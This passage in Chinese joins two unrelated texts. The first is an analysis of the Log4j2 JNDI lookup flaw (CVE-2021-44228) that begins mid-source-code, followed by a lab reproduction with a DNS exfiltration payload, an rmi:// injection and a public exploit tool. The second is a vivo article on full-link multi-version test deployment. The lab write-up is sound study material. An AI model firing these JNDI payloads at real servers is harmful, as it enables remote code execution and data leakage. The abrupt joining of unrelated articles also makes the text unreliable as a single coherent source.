                                                && prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
                                            break;
                                        }
										// 如果检测到其中还有:和-的符号,那么会将其进行分隔, :- 面的作为varName,后面的座位DefaultValue
                                        if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
                                            varName = varNameExpr.substring(0, i);
                                            varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
                                            break;
                                        }
                                    }
                                }
 
                                // on the first call initialize priorVariables
                                if (priorVariables == null) {
                                    priorVariables = new ArrayList<>();
                                    priorVariables.add(new String(chars, offset, length + lengthChange));
                                }
 
                                // handle cyclic substitution
                                checkCyclicSubstitution(varName, priorVariables);
                                priorVariables.add(varName);
 
                                // resolve the variable
								//上面的一系列数据检测都完成了之后接下来就是解析执行这段数据了,这里是通过resolveVariable方法
                                String varValue = resolveVariable(event, varName, buf, startPos, endPos);
                                if (varValue == null) {
                                    varValue = varDefaultValue;
                                }
                                if (varValue != null) {
                                    // recursive replace
                                    final int varLen = varValue.length();
                                    buf.replace(startPos, endPos, varValue);
                                    altered = true;
                                    int change = substitute(event, buf, startPos, varLen, priorVariables);
                                    change = change + (varLen - (endPos - startPos));
                                    pos += change;
                                    bufEnd += change;
                                    lengthChange += change;
                                    chars = getChars(buf); // in case buffer was altered
                                }
 
                                // remove variable from the cyclic stack
                                priorVariables.remove(priorVariables.size() - 1);
                                break;
                            }
                            nestedVarCount--;
                            pos += endMatchLen;
                        }
                    }
                }
            }
        }
        if (top) {
            return altered ? 1 : 0;
        }
        return lengthChange;
    }

调用链总结

约定:调用链每进一层函数就会加一个回车,我这里没有按照全限定名称来写,为了方便理解,加一个回车表示进入到函数的内部。

大白话总结:
在这里插入图片描述

下面是截图的原始数据

调用链
	MessagePatternConverter的format函数
	↓
	workingBuilder.append(config.getStrSubstitutor().replace(event, value));
	↓
	config.getStrSubstitutor()
		↓
	config.getStrSubstitutor().replace()
		↓
		substitute
			↓
			1.prefixMatcher.isMatch来匹配${
			2.suffixMatcher.isMatch来匹配 }
			↓
			进行一个判断 当上面1 2两点都符合的话, 进入substitute递归调用
			这里就是为了解决${${}}这种嵌套问题。
			↓
			递归完下一行代码就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}其中的xxxx数据
			↓接着走到这段代码->  if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) 
			进if里就是 取varName与varDefaultValue ,检测:和-为了分割出来的jndi与rmi://xxxx
			(这里不是说这么巧为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已)
			↓
			代码再往下走到->String varValue = resolveVariable(event, varName, buf, startPos, endPos); 
			进入resolveVariable函数里
				↓
				resolver = getVariableResolver() 获得一个实现StrLookup接口的对象
				后面就return resolver.lookup(event, variableName); 这里就是返回
					↓
					接着这里继续跟进resolver.lookup的调用的话,这个lookup函数体内部作用是通过:字符分隔
					然后通过传入jndi四个字符到strlookupmap.get来找到jndi访问地址然后截取到后面的rmi用jndi访问地址来lookup

漏洞复现

vulhub找到log4j开一个CVE-2021-44228靶场

dns

在这里插入图片描述

  • 先用dns协议进行jndi注入看是否存在log4j漏洞
    ${jndi:dns://${sys:java.version}.example.com}
    是利用JNDI发送DNS请求的Payload,自己修改example.com为你自己的dnslog域名
    http://xxxxx:8983/solr/admin/cores?action=${jndi:dns://${sys:java.version}.xxxx.ceye.io}
    在这里插入图片描述

接着查看我们的dnslog日志,发现确实存在log4j漏洞
在这里插入图片描述

rmi

那么现在开始进行rmi或者ldap攻击了
这里就直接使用利用工具:
https://github.com/welk1n/JNDI-Injection-Exploit
开启恶意服务器:
设置好-C执行的命令
(-A 默认是第一张网卡地址,-A 你的服务器地址,我这里就默认了)

在这里插入图片描述
接着先查看下容器内不存在
/tmp/success_hacker
文件,因为我们-C写的是创建该文件
在这里插入图片描述
接着就可以进行rmi攻击了,复制上面搭建好的rmi服务:
rmi://xxxxxxxxx:1099/dge0kr
在这里插入图片描述
再次查看就会发现已经创建成功了
在这里插入图片描述
PS:如果没有成功的话就多试几个rmi或者ldap服务地址,jdk8还是jdk7都试一下,以前我讲错了以为是1.7和1.8是本地开启工具使用的jdk版本,其实是目标服务器的jdk版本,所以还是那句话,都尝试一下就行,反正我们前面已经用dnslog拖出数据了,证明了是存在漏洞的。
在这里插入图片描述


参考文章:
https://www.cnblogs.com/zpchcbd/p/16200105.html
https://xz.aliyun.com/t/11056

作者:来自 vivo 互联网研发效能团队- Wang Kang

测试环境全链路多版本部署,解决多测试环境资源争抢等问题。

一、背景介绍

软件系统中全链路指的是从用户请求发起,到最终返回响应的整个过程中所涉及到的所有环节和组件。在微服务软件架构风格盛行的今天,因为微服务独立部署、松耦合等特性,往往一个业务系统由数目较多的服务组成,较多的服务往往带来一系列操作上的复杂性。

全链路部署
指的是将整个软件系统的所有服务一次性部署环境中的一种部署方式,这种部署方式可以简化我们日常发布流程,确保系统的所有服务协同工作。

vivo 的 CICD 发布系统从【构建部署脚本自动化】>【持续集成平台化】>【集成更多 DevOps 功能和组件】,演进到现在更加灵活编辑的多服务编排方式。为了适应最新的微服务软件架构风格,CICD 发布系统通过中间件组件和调用链技术实现的落地,基于容器建立了全链路多版本流水线部署能力。

多版本部署
则是基于灰度发布的理念,在同一时间内,将不同版本的服务部署在同一个环境中,使得不同版本的服务可以同时运行和提供服务的一种部署方式。

随着互联网发展增速,软件开发和部署需要快速迭代,软件发布变得越来越频繁和复杂。迭代版本持续交付过程中,多个版本并行基本是所有项目常态化的情况,为此项目团队往往会搭建多套测试环境以备功能验证。多套环境的服务、组件和配置数据维护不仅大量占用研发人员的日常工作时间,环境部署所需资源也占用越来越多的公司硬件成本,即便这样可能也无法完全满足产品研发过程中遇到的紧急修复版本或临时插入的高优需求这样需要占用环境的问题。当前项目的应对措施往往都是让当前常规版本临时“让开”,先让紧急分支版本发布到正在使用的测试环境上,验证通过后再释放环境,让常规版本回归继续测试验证。

图片

我们希望通过全链路多版本部署解决传统测试环境存在的如下几个问题。

图片

二、全链路多版本部署技术方案

2.1 部署架构

上文就全链路多版本部署名称解释和与传统环境区别做了简单介绍,为进一步给大家清晰区分全链路多版本部署的测试环境与传统测试环境区别,下面从部署架构图的角度再次阐述下两者的区别。

传统测试环境就是将业务线上的服务全量部署几套以供使用。传统测试环境使用也比较简单,不同环境通常拥有不同的域名或者同一个域名不同的 hosts 映射,用户通过修改配置直接访问到具体环境上。

图片

在全链路多版本环境中,只有基线环境是将业务线上的服务全量部署,其余特性环境只需拉起需要的个别服务即可。

使用全链路多版本环境时,不同环境访问的域名都是同一个,用户需要通过代理工具添加 Request headers,设置 tc_fd = 环境标识,这样带有标识的请求经过网关时,会根据配置的路由规则转发到指定环境。这里路由规则会由 CICD 平台根据服务编排的组成,自动配置到 HTTP 网关、Dubbo、MQ 等中间件平台上。

如下图黄色箭头所示,带有 tc_fd = 1 标识的请求链路为 service_A_1->service_B_1->service_C->service_D_1。因为特性环境1中不存在 service_C,所以请求流量在 service_C 时回落到基线环境,往下调用时继续路由到 service_D_1 服务,保证了环境的完整性。

图片

想要达成全链路多版本流水线的快速部署,逻辑隔离等特性,需要 CICD 平台把控多服务多版本的统一部署,环境治理和标签管理,容器平台保证业务的弹性伸缩能力,业务的流量灰度由 HTTP 网关和 Dubbo、消息中间件路由策略实现,同时需要配置中心来管理所有服务的配置,以及最重要的底层链路追踪和监控来实现完整的微服务架构。

图片

为了实现全链路多版本部署方案,业务程序遵循微服架构,访问时实现逻辑隔离、将系统的流量划分为不同的通道或环境,每个环境都有其独立的流量,避免它们相互影响是关键的一环。

想要达成全链路多版本流水线的快速部署,逻辑隔离等特性,技术上需要实现如下几点:

  • 流量染色

  • 流量隔离

  • 标签传递

  • 环境管理

2.2 流量染色

接口调用请求时,需要在链路中添加染色标识称作流量染色。针对流量类型不同,服务调用方式不同,可以通过如下几种方式进行染色。

2.2.1 客户端 HTTP 服务调用

浏览器端或者 APP 端发起的 HTTP 请求,用户可以通过本地安装的代理工具拦截 HTTP 请求,再按规则配置注入 tc_fd 流量标识。

推荐的代理工具有Charles 和 Chrome 浏览器插件 ModHeader。

图片

2.2.2 服务端 HTTP 服务调用

如果是对外提供的 REST API 服务,服务调用方请求时不带流量标识,可以在网关层按调用方配置“请求头改写”,实现全局修改。

图片

2.2.3 Dubbo 服务调用

本地服务调试时,Dubbo 消费端可以在上下文中设置标签RpcContext.getContext().setAttachment("Dubbo.tag","流量标识")。

针对整个消费端服务,也可以通过添加 JVM 参数 -Dvivotag = 流量标识进行全局设置。

2.2.4 分布式任务调用

对应配置在“分布式任务调度平台”基于给定的时间点,给定的时间间隔或者给定执行次数自动执行的任务,平台侧也已支持在调度策略上配置当前策略调度分组,以及是否需要调用时添加多版本流量标识。

图片

2.3 流量隔离

上述介绍了几种流量染色方式,当流量染色后,如何将带有环境标识的流量转发到对应的环境呢。我们目前针对 HTTP、Dubbo、MQ 等几种常见流量类型实现了逻辑隔离方案,实现过程中主要考虑到如下几点要素:

  1. 应用侵入性低,减少应用接入成本,由平台自动配置和中间件框架实现隔离逻辑;

  2. 支持业务常见流量类型,覆盖大部分业务逻辑;

  3. 流量隔离改造需考虑性能问题;

  4. 满足特性环境任意扩展的需求,组件支持动态扩缩容。

2.3.1 HTTP 流量隔离

HTTP 流量隔离通过 VUA 网关配置实现,VUA(vivo unity access,公司流量统一接入层)是 vivo 统一接入层,基于 APISIX 的二次开发统一接入平台。通过 VUA 中的 traffic-split 插件可以通过配置 match 和 weighted_upstreams 属性,从而动态地将部分流量引导至各种上游服务。

创建新的流水线后,CICD 发布系统根据新增容器工作负载自动到 VUA 网关上创建 upstream,并且配置按环境标识配置 match 属性,用于引导流量按自定义规则,常见支持的规则有判断 HTTPHeader,pathParam,cookie 参数等。

图片

2.3.2 Dubbo 流量隔离

Dubbo 提供了丰富的流量管控策略,通过基于路由规则的流量管控,可以对每次请求进行条件匹配,并将符合条件的请求路由到特定的地址子集。针对全链路多版本测试环境,我们采取动态配置标签路由规则的方式进行打标,标签主要是指对 Provider 端应用实例的分组,标签路由通过将某一个服务的实例划分到不同的分组,约束具有特定标签的流量只能在指定分组中流转,不同分组为不同的流量场景服务,从而实现流量隔离的目的。

具体做法为由 Dubbo 服务治理平台提供标签新增/删除接口用于动态配置标签路由规则,CICD 发布系统在部署时通过容器 Init Container 特性在实例启动前调用新增 tag 接口打标,完成标签路由规则的自动配置。

图片

2.3.3 MQ 消息隔离

除了应用层 RPC(Remote Procedure Call,远程过程调用)协议的流量隔离,大多数业务场景还会对消息的全链路有一定的诉求。vivo 在线业务侧消息中间件自2022完成了从 RabbitMQ 到 RocketMQ 的平滑升级,目前业务现状仍是使用了 RabbitMQ 的 SDK,由平台侧中间件团队提供 mq-proxy 消息网关组件负责 AMQP 协议与 RocketMQ 协议的相互转换,此为我们公司特殊背景。实现消息隔离的过程分生产者和消费者两部分实现。

  1. 生产者在发送消息的时候,通过在 user-property 中加上一些字段将环境标签附带在消息体中,使得消息发送到 RocketMQ server 的时候就包含灰度信息。

  2. 消费者客户端 SDK 使用全链路 Agent 将版本标识添加到连接属性当中,启动时根据环境标识,由 mq-proxy 自动创建当前带环境标签的 group,并通过消费订阅的消息属性过滤机制,从 topic 中过滤出来属于自己版本的消息。

2.4 标签传递

以上大概介绍了我们支持的三种组件进行流量、消息隔离的基本实现原理。在多版本环境中,真实的业务链路往往是用户通过 HTTP 请求经过网关访问到 service_A 服务,再由 service_A 服务通过 RPC 接口调用到 service_B 服务,service_B 服务生产消息提供给 service_C 服务消费。整个调用过程中如果用户发起请求时加上了 tc_fd 环境标签,也就是流量被染色,请求头中有特定标识之后,标签需要在调用链路中传递下去叫做标签传递。有了这个标识链路传递,我们再为链路上的所有应用定义流量隔离策略才会生效。

图片

标签传递功能借助分布式链路跟踪系统实现,我司分布式链路跟踪系统简称调用链,主要覆盖开发语言为 Java。调用链的 Agent 模块通过字节码增强技术,使用 Java 探针做到了不侵入业务代码的前提下,对服务的类进行拦截,从而植入一些监控埋点上报或者其他代码。

应用到全链路多版本环境部署功能中来,就是在服务接收到请求时,从报文里获取到标签信息,向下游服务发起新的服务请求时,再将获取到的标签信息设置到指定参数位置。向下游传递时几种调用方式的标签设置方式如下:

  • HTTP 请求,透传参数以 key-value 形式附加在 HTTPRequest 的 headers 中,支持向上游回传,回传的参数存在于 HTTPResponse 的 headers 中;

  • Dubbo 调用,透传参数以 key-value 形式附加在 RpcInvocation 的 attachments 中;

  • RMQ  Procuder 发送消息时,透传参数以 key-value 形式附加在消息属性 MessageProperties 的 header 中。

图片

2.5 环境管理

相比之前使用流水线部署传统测试环境,全链路多版本流水线在部署过程中赋予测试环境更多的配置属性,在创建和使用测试环境上更加灵活多变。所以从 CICD 平台建设上,我们需要尽可能的完善平台自动化程度,抹平因为流水线差异导致用户增加使用全链路多版本流水线的操作和理解成本。

2.5.1 基线环境

基线环境作为全链路多版本环境中最基础的环境,是当请求链接不带任何环境标签时默认访问到的环境,基线环境被其他特性环境共享,所以保障基线环境稳定性十分重要。我们在前期推广全链路多版本流水线过程中,为了环境规范化部署,要求业务方接入时需要新建基线环境,且同一服务下基线环境存在唯一性。这样做的好处是环境管理更加规范,坏处却是提高了使用成本,一套服务全都新建基线环境占用大量硬件和人力成本,与推广全链路多版本流水线初衷不符。在吸收用户意见及后续优化后,我们支持了在已有测试环境的基础上进行基线环境改造,以支持其他特性环境的兼容。为了管理基线环境,我们还采取以下措施:

  1. 统一环境配置:为了避免不同环境使用不同的基线环境配置,需要统一基线环境配置,以确保不同特性环境使用的基线环境一致。

  2. 定期更新和维护基线环境:为保证基线环境稳定,需要减少基线环境发布频率,保证部署代码分支质量稳定。按照项目管理特点,可以配置生产环境部署后触发基线环境部署生产环境代码分支;

  3. 监控和报警:对基线环境进行监控,如 CPU、内存、磁盘等资源的使用情况,及时发现问题并进行处理。

2.5.2 特性环境

特性环境是指为了测试和验证某个特性而创建的独立环境,在测试环境场景中与版本属性有关联,每个特性环境有属于自己的环境标签属性,具有快速创建和销毁的特性。特性环境的管理也具备如下几个方面的功能:

  1. 标签管理:每个特性环境创建时会自动生成全局唯一的环境标签,或者指定已有的环境标签。

  2. 快速创建:快速拉起一套新的特性环境,按既有服务流水线模板编排成多服务环境,实现一键运行构建部署所需的多个服务实例。

  3. 环境配置自动化:创建特性环境时,避免创建前申请容器资源,创建后配置路由规则等繁琐操作,具体配置功能尽可能由平台实现自动化。

  4. 定时销毁:每个特性环境设置使用生命周期,到期不用后定时清理流水线和容器实例,避免冗余环境长期不用占用资源。

2.5.3 链路监控

现在大规模微服务分布式架构软件模块的背景下,帮助理解系统行为、用于分析性能问题的工具分布式链路跟踪系统应运而生。因为全链路多版本流水线特性环境流量隔离的特性,因为链路问题可能会导致服务调用串环境,链路监控功能就更为重要。目前关于链路监控的功能建设如下:

  1. 交互便捷:在流水线页面迁入链路可视化菜单,并按环境标签定位到当前环境数据。

  2. 调用拓扑图:通过调用拓扑图展示服务间的调用关系和数据流向,在链路元数据中增加环境标签信息,在链路图形化展示上标记环境信息。

  3. 问题排查:HTTP 调用时通过调用链返回当前 traceId 到 ResponseHeader 上,更加方便用户通过 traceId 直接定位到具体日志。

图片

三、未来与展望

CICD 部署平台建设全链路多版本流水线初衷是为了实现降本增效,节约公司的硬件和环境运营成本,提升研发人员日常工作效率。在具体推广全链路多版本流水线的过程中也遇到了一些问题,如重新搭建基线环境增加成本,已改为兼容原有测试环境替代。当前全链路流水线建设还刚刚起步,未来还有更多空间值得优化:

  1. 支持更多组件和语言:目前流量隔离已支持了 RPC 层的 HTTP 和 Dubbo 流量,消息中间件的 MQ 组件,对于其他 RPC 框架,消息中间件组件,或涉及到非 Java 语言应用时,由于使用范围不普遍,优先级较低,目前还未支持。这项问题会根据公司业务发展和技术应用流行趋势进行调整。

  2. 支持数据逻辑隔离:数据的底层存储通常是 MySQL,Redis,MongoDB 等,因为业务场景复杂,数据隔离实现成本高,暂未实现逻辑隔离的功能。如业务有需求,通常建议准备多套数据库使用物理隔离方案,在配置中心创建多套数据库配置信息方便切换。但是若想业务灰度使用更加丝滑,数据逻辑隔离还需要具备。

  3. 更多应用场景:目前全链路多服务流水线只应用在测试环境部署,如果业务使用流量染色的功能更加熟悉和稳定,未来此项特性在线上 A/B 测试等场景也可支持。